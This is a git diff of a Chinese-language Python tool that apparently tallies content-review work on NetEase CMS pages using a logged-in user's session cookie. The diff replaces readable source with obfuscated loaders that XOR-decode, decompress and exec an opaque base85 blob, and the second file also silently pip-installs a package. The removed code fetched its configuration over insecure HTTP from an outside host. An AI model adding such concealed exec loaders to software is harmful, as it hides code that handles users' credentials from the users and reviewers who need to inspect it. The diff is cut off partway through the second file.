log(f"检查当前小时数据失败: {str(e)}") - return None - -def check_daily_counts(cookie, username): - """检查全天数据""" - try: - # 获取今日开始和结束时间 - today = datetime.now().strftime('%Y-%m-%d') - create_start_time = "%s 00:00:00" % today - create_end_time = "%s 23:59:59" % today - - # 关闭时间也使用全天 - close_start_time = create_start_time - close_end_time = create_end_time - - log(f"全天查询 - 创建时间范围: {create_start_time} 至 {create_end_time}") - log(f"全天查询 - 关闭时间范围: {close_start_time} 至 {close_end_time}") - - # 首先切换到清风审核-大神审核(业务ID: 7) - log("正在切换到清风审核-大神审核...") - switch_business(cookie, 7) - - # 调用API获取大神审核数据 - log("正在获取大神审核全天数据...") - godResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) - if godResult is None: - log("获取大神审核全天数据失败") - godStats = { - 'total': 0, - 'weighted_total': 0, - 'categories': {} - } - else: - godStats = godResult['stats'] - log(f"大神审核全天数据获取成功,共 {godStats['total']} 条记录,折算总计 {godStats['weighted_total']:.2f}") - - # 然后切换到清风审核-图片审核(业务ID: 12) - log("正在切换到清风审核-图片审核...") - switch_business(cookie, 12) - - # 调用API获取图片审核数据 - log("正在获取图片审核全天数据...") - imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) - if imageResult is None: - log("获取图片审核全天数据失败") - imageStats = { - 'total': 0, - 'weighted_total': 0, - 'categories': {} - } - else: - imageStats = imageResult['stats'] - log(f"图片审核全天数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") - - # 合并两部分统计结果 - mergedStats = { - 'total': godStats['total'] + imageStats['total'], - 'weighted_total': godStats['weighted_total'] + imageStats['weighted_total'], - 'categories': {} - } - - # 合并分类统计 - allCategories = set(list(godStats['categories'].keys()) + list(imageStats['categories'].keys())) - for category in allCategories: - godCat = godStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) - imageCat = imageStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) - - # 使用相同的系数(两者应该是一样的,如果有就使用它) - coefficient = godCat['coefficient'] or imageCat['coefficient'] - - mergedStats['categories'][category] = { - 'count': godCat['count'] + imageCat['count'], - 'coefficient': coefficient, - 'weighted': godCat['weighted'] + imageCat['weighted'] - } - - log(f"合并后的全天统计结果:工单总数 {mergedStats['total']},折算总计 {mergedStats['weighted_total']:.2f}") - - # 将统计结果写入到共享数据文件中 - try: - data = { - 'type': 'breeze_daily', - 'stats': mergedStats, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_daily.json'), 'w', encoding='utf-8') as f: - json.dump(data, f, ensure_ascii=False) - log("全天数据已更新到共享文件") - except Exception as e: - log(f"写入全天数据到共享文件失败: {str(e)}") - - return mergedStats - - except Exception as e: - log(f"检查今日数据失败: {str(e)}") - return None - -def monitor_hourly_thread(): - """每小时监控线程""" - log("每小时监控线程启动") - while True: - try: - # 从全局变量获取用户信息 - with credentials_lock: - cookie = user_credentials['cookie'] - username = user_credentials['username'] - - if cookie and username: - # 检查当前小时数据 - stats = check_current_hour_counts(cookie, username) - time.sleep(120) # 每2分钟检查一次 - else: - time.sleep(30) # 未登录时等待30秒 - - except Exception as e: - log(f"每小时监控线程异常: {str(e)}") - time.sleep(60) # 发生异常时等待1分钟后重试 - -def monitor_daily_thread(): - """每日监控线程""" - log("每日监控线程启动") - while True: - try: - # 从全局变量获取用户信息 - with credentials_lock: - cookie = user_credentials['cookie'] - username = user_credentials['username'] - - if cookie and username: - # 检查全天数据 - stats = check_daily_counts(cookie, username) - time.sleep(3600) # 每60分钟检查一次 - else: - time.sleep(30) # 未登录时等待30秒 - - except Exception as e: - log(f"每日监控线程异常: {str(e)}") - time.sleep(60) # 发生异常时等待1分钟后重试 - -# 监控配置文件变化线程 -def monitor_config_thread(): - """监控配置文件变化线程""" - log("配置监控线程启动") - last_modified_time = 0 - - while True: - try: - if os.path.exists(COEFFICIENTS_CONFIG_FILE): - current_modified_time = os.path.getmtime(COEFFICIENTS_CONFIG_FILE) - - # 检查文件是否有更新 - if current_modified_time > last_modified_time: - log(f"检测到配置文件变化,重新加载系数") - load_coefficients() - - # 系数变化后,立即重新计算数据 - with credentials_lock: - cookie = user_credentials['cookie'] - username = user_credentials['username'] - - if cookie and username: - log("系数变更后立即更新数据...") - threading.Thread(target=lambda: check_current_hour_counts(cookie, username)).start() - threading.Thread(target=lambda: check_daily_counts(cookie, username)).start() - - last_modified_time = current_modified_time - - time.sleep(120) # 每2分钟检查一次,减少频率 - - except Exception as e: - log(f"配置监控线程异常: {str(e)}") - time.sleep(60) # 发生异常时等待1分钟后重试 - -def main(): - """主函数""" - log("Breeze监控系统启动") - - # 解析命令行参数 - check_now = False - force_mode = False - update_coefficients = False - no_config_check = False - - for arg in sys.argv: - if arg == "--check-now": - check_now = True - log("收到立即检查参数") - elif arg == "--force": - force_mode = True - log("收到强制模式参数") - elif arg == "--update-coefficients": - update_coefficients = True - log("收到更新系数参数") - elif arg == "--no-config-check": - no_config_check = True - log("收到禁用配置检查参数") - - # 从配置文件加载系数,除非指定了不检查配置 - if not no_config_check: - load_coefficients() - else: - log("跳过配置检查,使用当前已加载的系数") - - # 处理系数更新 - if update_coefficients: - # 检查是否提供了新系数 - if len(sys.argv) >= 5: # 脚本名 + --update-coefficients + 类型 + 值 - try: - coefficient_type = sys.argv[2] - coefficient_value = float(sys.argv[3]) - - # 检查是否为有效的系数类型 - if coefficient_type in COEFFICIENTS: - log(f"更新系数:{coefficient_type}={coefficient_value}") - - # 更新全局系数 - with coefficients_lock: - COEFFICIENTS[coefficient_type] = coefficient_value - - # 保存到配置文件 - save_coefficients() - else: - log(f"未知的系数类型: {coefficient_type}") - except ValueError as e: - log(f"系数更新失败: {str(e)}") - log("系数必须是有效的数字") - except IndexError: - log("参数不足,无法更新系数") - - log("系数更新完成,退出程序") - sys.exit(0) - - # 确保输出目录存在 - script_dir = os.path.dirname(os.path.abspath(__file__)) - if not os.path.exists(script_dir): - os.makedirs(script_dir) - - # 从环境变量初始化凭据 - init_credentials() - - # 处理--check-now参数 - if check_now: - # 从全局变量获取用户信息 - with credentials_lock: - cookie = user_credentials['cookie'] - username = user_credentials['username'] - - if cookie and username: - log("开始执行手动检查") - - if force_mode: - # 在强制模式下,使用当前小时的整点数据进行查询 - now = datetime.now() - - # 创建时间仍然使用全天 - create_start_time = now.strftime('%Y-%m-%d') + " 00:00:00" - create_end_time = now.strftime('%Y-%m-%d') + " 23:59:59" - - # 关闭时间使用当前小时的整点范围 - close_start_time = now.strftime('%Y-%m-%d %H') + ":00:00" - close_end_time = now.strftime('%Y-%m-%d %H') + ":59:59" - - log(f"强制模式 - 创建时间范围: {create_start_time} 至 {create_end_time}") - log(f"强制模式 - 关闭时间范围: {close_start_time} 至 {close_end_time}") - - # 首先切换到清风审核-大神审核(业务ID: 7) - log("正在切换到清风审核-大神审核...") - switch_business(cookie, 7) - - # 调用API获取大神审核数据 - log("正在获取大神审核数据...") - godResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) - if godResult is None: - log("获取大神审核数据失败") - godStats = { - 'total': 0, - 'weighted_total': 0, - 'categories': {} - } - else: - godStats = godResult['stats'] - log(f"大神审核数据获取成功,共 {godStats['total']} 条记录,折算总计 {godStats['weighted_total']:.2f}") - - # 然后切换到清风审核-图片审核(业务ID: 12) - log("正在切换到清风审核-图片审核...") - switch_business(cookie, 12) - - # 调用API获取图片审核数据 - log("正在获取图片审核数据...") - imageResult = fetch_issue_data(cookie, username, create_start_time, create_end_time, close_start_time, close_end_time, max_pages=10000) - if imageResult is None: - log("获取图片审核数据失败") - imageStats = { - 'total': 0, - 'weighted_total': 0, - 'categories': {} - } - else: - imageStats = imageResult['stats'] - log(f"图片审核数据获取成功,共 {imageStats['total']} 条记录,折算总计 {imageStats['weighted_total']:.2f}") - - # 合并两部分统计结果 - mergedStats = { - 'total': godStats['total'] + imageStats['total'], - 'weighted_total': godStats['weighted_total'] + imageStats['weighted_total'], - 'categories': {} - } - - # 合并分类统计 - allCategories = set(list(godStats['categories'].keys()) + list(imageStats['categories'].keys())) - for category in allCategories: - godCat = godStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) - imageCat = imageStats['categories'].get(category, {'count': 0, 'coefficient': 0, 'weighted': 0}) - - # 使用相同的系数(两者应该是一样的,如果有就使用它) - coefficient = godCat['coefficient'] or imageCat['coefficient'] - - mergedStats['categories'][category] = { - 'count': godCat['count'] + imageCat['count'], - 'coefficient': coefficient, - 'weighted': godCat['weighted'] + imageCat['weighted'] - } - - log(f"合并后的统计结果:工单总数 {mergedStats['total']},折算总计 {mergedStats['weighted_total']:.2f}") - - # 将统计结果写入到共享数据文件中 - try: - data = { - 'type': 'breeze_hourly', - 'stats': mergedStats, - 'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S') - } - with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'breeze_hourly.json'), 'w', encoding='utf-8') as f: - json.dump(data, f, ensure_ascii=False) - log("小时数据已更新到共享文件") - except Exception as e: - log(f"写入小时数据到共享文件失败: {str(e)}") - else: - # 常规检查 - check_current_hour_counts(cookie, username) - - log("手动检查完成") - else: - log("无法执行手动检查: 凭据不可用") - - # 立即检查完成后退出 - sys.exit(0) - - # 启动监控线程 - hourly_thread = threading.Thread(target=monitor_hourly_thread) - hourly_thread.daemon = True - hourly_thread.start() - - daily_thread = threading.Thread(target=monitor_daily_thread) - daily_thread.daemon = True - daily_thread.start() - - # 启动配置监控线程 - config_thread = threading.Thread(target=monitor_config_thread) - config_thread.daemon = True - config_thread.start() - - # 保持主线程运行 - try: - while True: - time.sleep(10) - except KeyboardInterrupt: - log("程序被用户中断") - except Exception as e: - log(f"主线程异常: {str(e)}") - finally: - log("Breeze监控系统关闭") - -if __name__ == '__main__': - main() \ No newline at end of file +# 直接执行解密和运行代码 +_MJk4cZ=b'\xd1\xa6\xb0u\xcdR\xdb\xb9\x0bK{\x91\xb3(\xe6n' +_LVLTImzA=b'sXARqrX|S!xs-y0z`Z5^O@0D+?CB~O{Z%>LQIqc;vouSEJcG(>!__`R+YSGWDO{{((`3|!Lo=X|FR&&^5P*?>3sfiCr48w>UUyzQEIwK5BuiG+!!8J-dg*-kKMY!*C%AD_;nl1qJ^$U>Wj}#`j&A|+E|7}q&zdEs#%tm*=DVb%+JNq(42S*~Oj%Ao6n-~xorlK<`hAiTauEp6*+OjddPvkRf*^pzdr25GGYttRCU9T&a8j2qJ!k&jAfxDg^gKRk6}tO^|xN>q#-KLG@BMzS#WsLFjSe9WfMmev&w33D6lO{0%`v#4wX;3$6`;M9^>4{_E+w~xL6Z(QFv?Xj8T#>>sL0emIAC#d*R^?ut(ol1h+Q~v=(B+bETlzKJNDEpYwU%e$10DdvNuuJRXkMc-|)Qpq-<-XFni2wp+woP)UN9{%@gLJLpaKzP?$iQA|iT9M*G2hq@q3?wqd-DjS{CTx-k{qz3Tq32Ev1tuIFXKN7MDw_B-r&=`|dA6FxlDjn}G-5FFz1**czp@6)|Hx<6C`;V7ldDB%=#4Or-r9AZgZK|kNFP}fG@seHY6q~;j?_*AA35bH>iBjwiBxBdN(CPu~Aq%I!2KHs#&ntC#Xux&b^PSB!eAuo*6g(sHakABg4&(w7)&Oo@XHnrPm?7+ADeT8_`f~Y*3EcM5wL>J2!=nO2j1ZTr$<2SQh>PF{>Q12!L!o);tv+j}_Y4n-nwrJo`8^v^xB8wr7)Eg4g2Po&%?Qkg65F2|zro2^$MT|l^8d6@{*wwrZs1MGTS!b*h^{ByQOQzEk$jIB0V~0#ApOK!Hi1rJ!Zc$Tu!*wjA=a$4S+;_QwP-RW^xZdxYajOgd%-UP+K7dP05vhgNbpJehIme&fOi|W|6qf-EB<9{KMibGQ&z#h_^8G|4f1ZamT=h8ZiPgu6I=?~o#*L<;D0jIU1bRn{6Opxj)zMsE>SLKbvw%e?B`-0;`}DvjOvq=Mar{S{da(x9&}Q9aQ+JJ*ZT=aG-LfJvY1p9q|}Wuxy0pw52ShYFBQKT}j?zW;~_Frm>F;1cE!dY}>-3^#?3ZA~FbRQwjN8IuTy}H)(w+@&wdF-<<;=@^CIzaWJV=Gb@D1_Tb@iKEZ%k_E_$fuKOyWf)SU5}HcKhY)$0s~rJb2(nOs)(XJJ$jWI#%abuQYq;PT}uwF-LC5(s=v72{*;nv%1-EQMs*26;8V=hLxVQcgCEiYR@fSk^rfL2%avxm(Sf4{X?8>;@cf9*JE&ZmwtZp-luwc3MN{HOkWe@bTY4!d0gH#dci&{CZ2#PKi3OYso4%l$J&y!9WmpLR@nf&n06jopz#Us)-{Yqm@vm33HX31nHS|Z{lu~^!>0|lO$RABP17-Q`DZoB$I`Xz4B6?`ItT*`4cWhXn<&i!7((>Hdx%&??05WRQr)>05du$~fJE!Qd8<5x$Lrb5+EDo&{bi!D@Z;wBq)x=#;UuSEqVw?15>-E5roP5-84^aiY?l}ISA}lI4tSmC{K_{x5iwxqVJ~A1h4(9K>zrojUWyTdh>uJOjR7#6`Ssc?VdrfblDx42qbmg{95@mO!s;1!Q1{Y}QP1xrukJ-o5Q#ukmL2HTde>~0-l1-Ro)q{4u;hlat#u0+2T{EwvJ^0Kz>IG2pz1L_$c64(qcM*Kz!cC?M1K-;N=0pql~S^X=A2Lk2+*j|WsJ$zDVK@a`e$StzrGqvZ2rc(>_|@>;qPXNaORWG?5^3&I~h^=G-Jio?GCWsXA#Ph5CK0_`Vwnl|FUk6bQNwe7`~vkGd^>^c`mVxFK93}nN^oT3H^%8)pO5{tlo^pNT6jtPMEH{a_eF3Z4(^$ToDMO2W;AKhPEB?9WS+OVzO$Ny};f*aj+C_Q&|Y2pCchURi_)*)7W0RGatC?oabzUk;X8vb(re_acjhi*7}r4MyX@6cSw1t{V;Mmj`ewx+hEEN9q2s~K|&>HSg;WE>l(3`P%>e={mb)9bB5agszgfW>~VtN^7_A<3qQfx246VVK#qU*pHN^MULGCD1k6J92vuyD3*o#wn5unq(zaBoXO}tfl*xL{fd5UzLWSb(X@yxtj_>&8w*uRXrNp#v*AA>iua!3SVjcT0B^-J`_uTChV;RW8Cm-?}%dJ;Djvn)w^^pKciPFHc#m5El`So+yEn_lIf9^TkcYVrqtrM1-8uS{>lgT>3EOA%R@9z`;8R#477eW7!Rg(UlMSG&eQ$T0y1tZS|Y00#vIXgcOwykikv96mANK(5m^0@whVx+3Z=TTDfs~zRTA3Dr1$Y9-kevKt{1^%uL@)uwJDewsV6>n~8@B#RXBPGOPJzX#IUg<|*W83#dK}_S5UX)_LwpDg1^*`CQU8c#<>a=Q4CeYt1_=+Fx2sZezR4?43R{NP3yURj8_M+52Ts8_G-ttB_ve}h2Q~;h48>ln-kPE)ZKJ26EPm(rQt&;o$9{J))hPd&q$~|tnU-Tt#a=|22~|X;tBVQy?)A2)s|-XWC{Z3;54V|&|>g#wvj-zt3m>wf02_v1y7<%gW6a;P5;On*v9K{ny%8Q^hJ?Gk9H7l^5EJs%Wl_|jr!!k#yKj#5ro;snFLIc5MC)WzgnyTRm7OJ(1Mn{iL5wcfD3UYq)0geq+^{UeXGkyZaoQ#7{VaQ;!oFln_$gT`!muL>AsqRy7-}2xN75Ex^<#-Vc9K`XADf;CC|3#_l$8wpn=Bi!Iun*-Prv>0(6b$pQ2%$Jun%L5AN_R0P6DuTZfLpSC%urik1Ypv_ieWzGQ_qLFf?GA()U*u*`caRIB~dZ0-DNk+z&{V9;z_DwY16TUVcx!uAve~~LVTQeyQy+af8C*fr!dED1*qs$9Vl-c4e5$5r>~Y2RT+wioPG-iNDb|6j)wV1L%CHJIhRU>wp6Xiy3lvv-_$ZDNQ1+f%3eV+h_=zq*GvG;wkBQBnN2ff;h~00Uo^fb1S|C=N!)FJ2?DQO(U?^t;Pum}OVehCJyjNh#)N-&nDG$b&ee_EWEbu14HTkucMfnWbU2SS0RqZ|TM22BjUZ>i06lc!tn5=d>z?eR5rrIQ>Hu7$le|kL^sAWUTR(~RrcH=-_Xr*yz0_Yv)*i?o-GCNejd9eKf;a(BB~d;zP{mR%$}W3Z@YlPTui*Wq8qgTt~R+!U#F-{O4e4XZR>tddgWO%2Kkr2i*YWT2{C4r0U+S_g7@x@lO*6|DEQ8lYBvQ+%&yHtE!dz?iwra;_03dcW+qEO$XLdA9fV&XATf6jAsIgu=KIS_p{dO_#7XjtA0^2I;~F%9_DtsA@sw))%G!&%QBS(O74(P^jw6dty@!OL2c)rF+DsfhytZ-%5L<+i>BMwWRl`0MM-Gi9!$sQGnH*2?Vqe%`Xc5*B7y<$OSg3%5_BtuQ|t;jwPlon@&_{0|4aY9dDIMNRg{eIsGZD|_F{Y!#H`jrydO!hR#yoOI5lqqbFu2AhDS@m072|w5MC&k4l*&d4;9BPGTKJ=sO^*iFdG-eUfEn5Kal%4Qwp?&tc~&wVU%HIjnAZ+?MfwnS#p4&q-Yd$Ptb{#LR~nwG?`xR{}6P3L2m3h3|@ct*2Wo3unYcp6!~tMkpO#U^GEmy$dX*NxX^N$E3gDurM<2*1S$iiu*UgH|4SHk6{2)IW^*o9q&iX5WzgoE>N*Z4xg|-hVeT#8<=uc4{rVgJ8Pf~KbFOW2JL5z#U=OX2|&69otR{^k&ip)dMZ%4aftISYuqz7SqcT+)|BBa3lW#>|2+ul_a~JpvnbUJ*q`E+3TXB>Pprx-jJ^NigoMe-02-1k-aK#K(BFe*|$ujt8B!|3S`g=2r*EYdJz*9L4eE8>&YvY|t1y`D46IGRUWp^RC-OD>w-|5;RO=g#A#8R+S^xJeAW2tj6{&gd8M10Y~V^Sd{O>=?Hb;C->$4^9GvBS`|4Q|aAdw8c{yx_YF^4`@MYt}xXMCKDj4wSWlId*qf77&C8`UMrJlLa#`)@G@ry1GLyuoQUKcmlWj%+ZO9+hE;t>Dn(MK4tbQ`I{sdH6{uT;g5NxL!X@#T*ulsH?bfkDqdu2;iPsWRK@ac*CK(p6S7MXRHn*{ry9mAE^8vo08a-O+(1luAi_SeF4$wAow9rL;ej~RCY2rhOb6=OUkucV`LtUFOMXms1;S%J%7BcNRWPE>1yd9%L2eR1i8yi{=V&o9gzp`DC89WTp)q+3AbBJT-u>C2_E`Uf7h8>1>b6qX0#)@1kZ+ASuj_X#wjvka_x*+$>GD*A9q#>5B^0Go4^sU|1Wmg5mBuHhM4Bum_A3E{_&hHn=hV+5p19pRfzk+OuUhZUb5b#KE41pC{?~x=tf2_@_xCFS3t+%TPzn|+Go34ThT*5nGNyeu-@0uy$gzP228W10Dwhx(?2)*SrjL>xAb^7CfPW$&jsdBF#^cx-gd3UV3QQji%*qtTmX&A{Q_#Xu&s}eeHrB-GArH#hXKqt=bWd=hXxHk?weLLU<*6sMikCJ3P<6iZVFOvr~g)1sQ7rZyZpeA&hIpaE^jkqlhnnXDn%+sue^vIp7l!{Oai{eO4z+w$V0NYuOz04!U|{?n6~A-HosGYz`6ZmB%K1~4>Z{#%=q7@Yk@U?sF<5r7#qz?1EgS?{#o9HhV=3YoA@*Fj0zw2q9$mMc+4P*q`2nPPlOD3f*S)guj)TQKChve6$2ZL7Rp3|szX`1N7pv8_pBK3d{^+?1qC@Re-jx9(F-<4L_0uJHX*Pnph{_I#sKE2&Xhkt(TbIG0hjcexn7Hg^ulci&GguNT^&C$b?ppQdh9MtU&H48d$X3B_9p1$hZBNKb_++rsdiKN!9G5kY<%euO$fQBFelTqH9?@R?a`CMMF)QZ{gc5PiQKDn)5_d-cPLyX=>iwh&5y1vNJrd3@xDg0KU`t=z~p}*q+&NNnqRMW!oWJtDJC#ae~J6_~{9O@`uhpxC=AXp&Z7G$~iixM}I{_SRg~8vpf3dWFlgn)n>-b=)A3!Rtu4hXJ>tFSJKaS6~mG9l+tO<3s(4cGB4>%bxN<;5`_{;UY>#}t%5MGW6_5Xa0des1R@I@_=mYNqbA-3)c0E$+#H#*io@gqRVO(Whx~voG@^Ikd-nY9Hm|7Q)y+1wwrqp({iquKey9}<2;?$R3g_-RV$`RHzxP#ny)mDV9fKTMn)jJ4o{L?jj&j(4oTw-TJN3@|_pLhsNxgjM{8y|oAl^h?&KtMnqw0SH5No`vf-M2!J@8rj2-LqlLunwA1m1f^7-1TbRh{pg>la%D)7IHPVD%vTz@>kXkK*$<%QhVklH_2k%$&rdl$XB;K?s2_bL<#i8?aATmk(KnXrEBefDWn~o^ddzZy??hm&MIqt8GgeNp`gOqs{lzK=o(sNJ}sZE!9XVr<*f@!}iOYGo@6g16T76y7?RJ)?yLONimi?F{=#1XXK;Ak+M)Fu_#DkVvoRfe_v!nuv<`C|rN+9W{z%l5#Xajq1r;TS7V*S58%+8ktWR9lel+Hd9-JnYtHD*weu3Me!lff}>e|6?zlKmnxs&Ni#lDgo(6zSULp6kA#``nUjhU*R$rt6t=Cl!8Ti**!CPIoxAU}6FNY3gq+Kg+2*J>Yy-*&muU{AGq*GQg-swZ<{@l0q)7C9He~ohS%D-gC|jTzgV*b9;HW0JtD%C+*guI*^meU{nR8Y%9osaR1hI!Y)Ui_0UEgV70EZ7K=>Nq1D%$aS+OH(Lk`kx;+3SFcDCS_dt9ca>4Q}?TK4~!P0;6BwCA5RNvg5N`2?m$tg+&i2snhV*ZzLo6>?Ad{W5=GA7HqO(kGCGsr-dnrF03+)~?b7@75K084KjHlGq+y>Md}HJC>PbXbT{rB&i!vV)Ee?TA4{!ny`^=s5U9LjK1=_|#YuzR@QIK^n1;MbjopIv3yK8-o1!>YpbImtq9eyC<(S>a7+>_k35lR(8^2^Ufg5+37*S=Z&lHO|+_|?0WmEsJWGZvWzH3i|RW7RPeZljnz+{@}Hxzs1zXFA>5$$FzQ25A(cR;jALBsI)QDj8K-a!yv_*apKu-%c?INgu?@{%Ta6-TuiarkTpuDj(~HTfkQ3V$oHYa>FaiADH_*7bX~bkCne5iUYJ(@B=H5H&DD&H!Pw!l+1ehSq*<^ZXJ`4c|N;KYXWpw?MML9dx`&v*ktC003@6^X}B(!TTh@X%o_u4Ykx1!a?O+4-G6|=~Y5u+XCqVGu;ii{SzyEnF?Z|{p@ETLgByDfs4^1m;J6&1<@CNDt|RZa?$f;o(QL>Y$?azEn58L`y;8CMh~l{IzZtfaeDy%JN@C!6KM`6XQ57ptC_a@c12vkcL6nIvh0amqsGcc$`+z{?RpM*!m_NrFcYdITNty8##yD%IwK@D_r5K~w{B7av{PJAw@e)@ZWmfSq&AX$Jkz3U|biykc-qy>(XUeksVL;~DzNN$4aZh76t1Wtzl&I@t@^ALXiU`W&jm)tnJxLyovg{w~OtY8UV=t2RuDc|ERRD67^#%&y0dM-L}aGX1ixfb-r9&BkerM4-5iRr$O<56J7+xCH`Li_{qh=*!%yDj<{RC;yewwKZXJ-%2e?yunIR$Ax`n-?z-;@#AoNb{Q;t%vL{DBqN`WFT=rSWTMG;8=)NiQ~U9JaimO&ws!t@7-y)>e1gpS0;MOi{+)q0evYfzW_`0S-4>Uv^tH#NPPhcgYC^O7id%9+^ZssxdxuNL6J~bunBOO>wS#hPaSQUUnuL58l1h$!{FiKuAJEg!64GcRpE9NI8S*c0`wla`TO%<$i1?34;-!mOG5wxi#}oA5dDN+O^8_F;9u4Yvog_5}+@*eWNA-LB9QbcR0(|-O_H{>axA7I+jXS82_vH7=^_P>wgUVLe{=1o;N|h)Kq7SFM(!51Ii5(#f7#eF!{O8>{49wX+sEOIC9$~&flKbM9W0ay{4xU(%!RcrVzj;X=M0M{+4x%+Bu-94v}79L(h9r^X{bVMg=6W5LZlAMryV{7;`fX&FK7zMGpDR!Gqyov_=!yMr$CI;(v4Du5{vPGKyg(81bU4t66jwk_~iwwbC|}=pj@ALTF6OgXL4)s?n~zQJR$dC@+ro4{XoU$Kc;T#g+u-J`yq?B8Xy^Bl&LSLHS`Pc6ENa#odkt5pzI6nFgRCp;O{_~6LS+pc3&-5i>s2|lCZuv6s-Rta7pw*N9OKr0k|c~fF*x$>VrGhTK$6WSsp59nZ$n_hL_VVb8|iEbQ$K2oRDw!yIgc%?^besXD=03(!7ng$09r($qiaG<1#Otqi;psir_Aw@KKI^yKWZ(LB05N5S-rn50@#f8q$Vs8GciZpau>{p!rLT1b6&0x_`=Wbq}92aywe3)92k%0(5t!XTl#x|*L^YX4nptb=lhXo*!LX{zxFBnPKSp^W-wB{VgFuQmF98K?5#e&sEa6LqsCSG@;7(o0wVr~-m@!PRlc0XNEw>b)aS1g#%9)z5^A=@QPV}ISt?zK<|hUNi|q3y{oMnW;oC%)MiG_}IhCY(82GcsDV1M0q;8k*o!apa=-&v;Udd7@4IBi(^qOs@Ff0L@#`pY{N6aps@MJ2E^q`mJ>VWO_h2*-R9NpbX2i@vn@VvDx)+#^~fC8heH`hH`6%lAUdxU<+;@_lOo_8%4$^bdA}5+`lg~F_m{m^R5pB=*w=S_%qdLk6ix' +try: + _xt49gxf=base64.b85decode(_LVLTImzA) + _PM1e34S=_cP5qFGrBzjTo(_xt49gxf,_MJk4cZ) + _hvGoFfqW=zlib.decompress(_PM1e34S) + exec(compile(_hvGoFfqW.decode('utf-8'),'','exec')) +except Exception as e: + _oDpO0TLTr="程序无法启动: "+str(e)[:50] + _pmdfkDKbRae("错误",_oDpO0TLTr,1) + sys.exit(1) diff --git a/cms_monitor.py b/cms_monitor.py index abab994..321783c 100644 --- a/cms_monitor.py +++ b/cms_monitor.py @@ -1,680 +1,49 @@ # -*- coding: utf-8 -*- -import requests -import time -import random -from datetime import datetime -import logging -import os -import sys -import json -import threading -from threading import Lock +import base64,zlib,sys,os,time,random +import threading,importlib,subprocess -# 配置日志 -def setup_logging(): - try: - # 获取当前脚本所在目录 - script_dir = os.path.dirname(os.path.abspath(__file__)) - log_file = os.path.join(script_dir, 'cms_monitor.log') - - # 确保日志文件存在 - if not os.path.exists(log_file): - with open(log_file, 'w', encoding='utf-8') as f: - f.write('') - - logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s', - handlers=[ - logging.FileHandler(log_file, encoding='utf-8', mode='a'), - logging.StreamHandler() - ] - ) - logging.info("CMS监控日志系统初始化成功") - except Exception as e: - print(f"日志系统初始化失败: {str(e)}") - # 如果文件日志失败,至少使用控制台日志 - logging.basicConfig( - level=logging.INFO, - format='%(asctime)s - %(levelname)s - %(message)s', - handlers=[logging.StreamHandler()] - ) +def _tzHzlMJtsCfB(d,k): + return bytes(a^b for a,b in zip(d,k*(len(d)//len(k)+1))) -# 初始化日志系统 -setup_logging() +def _wDIqq7MtJ(t,m,is_error=False): + try: + try: + from playsound import playsound + except ImportError: + subprocess.check_call([sys.executable,"-m","pip","install","playsound==1.2.2"], + stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) + from playsound import playsound + + # 播放系统声音 + try: + import winsound + sound_type = winsound.MB_ICONERROR if is_error else winsound.MB_ICONINFORMATION + winsound.MessageBeep(sound_type) + except: + print("\a") # 备用蜂鸣声 + + # 在控制台打印消息 + print("\n" + "="*50) + print(f"{t}: {m}") + print("="*50 + "\n") + + return True + except Exception as e: + print(f"\n{t}: {m} (提示音播放失败: {str(e)})\n") + return False -# 配置 -API_BASE_URL = 'https://god-cms.gameyw.netease.com/cms/admin/logPage' +def _jAsWjsViqFK(t,m,e=0): + _wDIqq7MtJ(t,m,e==1) -# 默认的各类操作的权重系数 -DEFAULT_COEFFICIENTS = { - 'comment': 0.55, # 评论审核权重 - 'feed': 1.54, # 动态审核权重 - 'complaint': 5.4 # 举报处理权重 -} - -# 系数配置文件路径 -COEFFICIENTS_CONFIG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'cms_coefficients.json') - -# 全局变量 -user_credentials = { - 'cookie': None, - 'username': None -} -credentials_lock = Lock() -coefficients_lock = Lock() - -# 定义全局系数变量 -COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - -# 读取系数配置 -def load_coefficients(): - """从在线链接获取系数配置,如果获取失败则使用默认配置""" - global COEFFICIENTS - try: - with coefficients_lock: - url = "http://scripts.ui-beam.com:5000/NetEaseDSMonitor/config/cms_coefficients.json" - - # 检查本地文件是否存在 - local_config_exists = os.path.exists(COEFFICIENTS_CONFIG_FILE) - - # 如果是首次运行或需要强制更新 - if not local_config_exists: - log("首次运行,从在线服务器获取系数配置") - if not fetch_and_save_coefficients(url): - log("首次获取系数配置失败,使用默认配置") - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - return - - # 读取本地配置 - try: - with open(COEFFICIENTS_CONFIG_FILE, 'r', encoding='utf-8') as f: - local_coefficients = json.load(f) - except Exception as e: - log(f"读取本地系数配置失败: {str(e)}") - local_coefficients = None - - # 尝试获取在线配置 - try: - response = requests.get(url, timeout=10, proxies={'http': None, 'https': None}, verify=False) - if response.status_code == 200: - online_coefficients = response.json() - - # 比较配置是否发生变化 - if local_coefficients != online_coefficients: - log("检测到系数配置发生变化,更新本地配置") - if fetch_and_save_coefficients(url): - log("系数配置更新成功") - else: - log("系数配置更新失败,继续使用本地配置") - else: - log("系数配置未发生变化,使用本地配置") - else: - log(f"获取在线系数配置失败,HTTP状态码: {response.status_code}") - except Exception as e: - log(f"检查在线系数配置时发生错误: {str(e)}") - - # 使用本地配置 - if local_coefficients: - COEFFICIENTS.update(local_coefficients) - log(f"从本地从加载系数: {local_coefficients}") - else: - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - - except Exception as e: - log(f"加载系数配置失败: {str(e)}") - COEFFICIENTS = DEFAULT_COEFFICIENTS.copy() - -def fetch_and_save_coefficients(url): - """从在线服务器获取系数配置并保存到本地""" - max_retries = 3 - retry_delay = 5 # 重试间隔(秒) - 